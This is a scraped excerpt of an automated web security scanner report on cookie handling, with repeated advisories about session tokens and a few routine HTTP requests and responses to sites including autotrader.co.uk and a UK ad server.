The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
/* SiteCatalyst code version: H.10. Copyright 1997-2007 Omniture, Inc. More info available at http://www.omniture.com */ /* Specify the Report Suite ID(s) to track here */ var s_account="earthmyac ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title>Web Ma ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.autotrader.co.uk Proxy-Connection: keep-alive Referer: http://www.trusteer.com/product/trusteer-rapport User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /mailers/leadcookie.asp HTTP/1.1 Host: www.pcrecruiter.net Proxy-Connection: keep-alive Referer: http://www.pcrecruiter.net/home.htm User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /fc.php?script=profileTargetingCommon:profileTargetingBeacon&pid=2173 HTTP/1.1 Host: a.unanimis.co.uk Proxy-Connection: keep-alive Referer: http://fls.doubleclick.net/activityi;src=1908039;type=at20cnts;cat=carshome;u20=03032009;ord=126853082777? User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 14 Sep 2011 00:23:13 GMT Server: Apache X-Powered-By: PHP/5.2.11 P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OXPT=cRAAAB59CAAAAgAAAAAAAAAAAAAAAAAAJgEAAA%3D%3D; expires=Fri, 14-Oct-2011 00:23:13 GMT; path=/; domain=.unanimis.co.uk Content-Length: 43 Connection: close Content-Type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.